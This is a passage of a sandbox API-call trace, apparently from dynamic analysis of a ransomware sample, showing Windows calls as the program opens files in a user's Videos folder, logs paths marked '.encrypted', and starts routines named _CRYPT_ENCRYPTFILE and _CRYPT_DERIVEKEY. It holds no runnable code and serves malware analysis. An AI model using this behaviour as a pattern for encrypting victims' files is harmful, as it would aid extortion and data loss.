wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.185] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.185] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.185] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.186] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.186] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.186] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.186] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.186] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.186] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.186] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.186] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.186] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.186] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.186] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.186] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.186] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.186] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.186] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.186] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.186] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.186] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.186] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.186] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.186] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.186] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.186] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.186] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.186] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.186] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.187] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.187] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.187] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.187] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.187] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.188] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.188] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.188] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.188] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.188] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.188] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.188] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.188] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.188] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.188] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=10420) returned 1 [0029.188] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.188] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.188] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.188] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x28b4, lpOverlapped=0x0) returned 1 [0029.189] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.189] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x28b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.189] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=10420) returned 1 [0029.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\m9Y1DiBTGN1A.encrypted.flv\r\n", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0029.189] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\m9Y1DiBTGN1A.encrypted.flv\r\n", cchWideChar=62, lpMultiByteStr=0xe8f40510e0, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\m9Y1DiBTGN1A.encrypted.flv\r\n", lpUsedDefaultChar=0x0) returned 62 [0029.189] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4050eb0*, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4050eb0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x3d, lpOverlapped=0x0) returned 1 [0029.189] CloseHandle (hObject=0x1fc) returned 1 [0029.190] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.190] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.190] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.190] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.190] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.190] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.190] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.191] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.192] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0029.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41788c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0029.192] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0029.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41788a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0029.192] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0029.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\4_FIU1Ihmr5KIfySz.mkv", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0029.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\4_FIU1Ihmr5KIfySz.mkv", cchWideChar=76, lpMultiByteStr=0xe8f406a370, cbMultiByte=76, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\4_FIU1Ihmr5KIfySz.mkv", lpUsedDefaultChar=0x0) returned 76 [0029.192] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\4_FIU1Ihmr5KIfySz.mkv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\4_fiu1ihmr5kifysz.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0029.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=76, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0029.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=76, lpWideCharStr=0xe8f4061340, cchWideChar=76 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\4_FIU1Ihmr5KIfySz.mkv") returned 76 [0029.193] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.193] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.194] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.194] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.194] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178860, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0029.194] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0029.194] CloseHandle (hObject=0x1fc) returned 1 [0029.194] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.195] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.195] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.195] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.195] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.195] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.195] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0029.195] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.195] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.195] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.195] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.195] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.195] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.195] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.195] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.195] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.195] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.195] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.195] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.195] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.195] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.195] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.195] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.196] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.196] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.196] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.196] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.196] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.196] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.196] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.196] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.196] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.196] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.196] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.196] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.196] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0029.196] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.196] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4199930) returned 1 [0029.196] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.196] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.196] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.196] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.196] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.196] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.197] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.197] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.197] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.197] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.197] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.197] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.197] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.197] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.197] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.197] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.197] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.197] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.197] CharUpperBuffW 